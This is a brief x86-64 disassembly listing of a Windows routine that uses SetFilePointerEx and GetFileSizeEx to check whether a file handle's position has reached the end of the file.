mov ecx, dword [rcx + 0x18]
nop
call fcn.1400135f8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140017160
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140017160
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140017160
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140017162
xor al, al
add rsp, 0x20
pop rbx
ret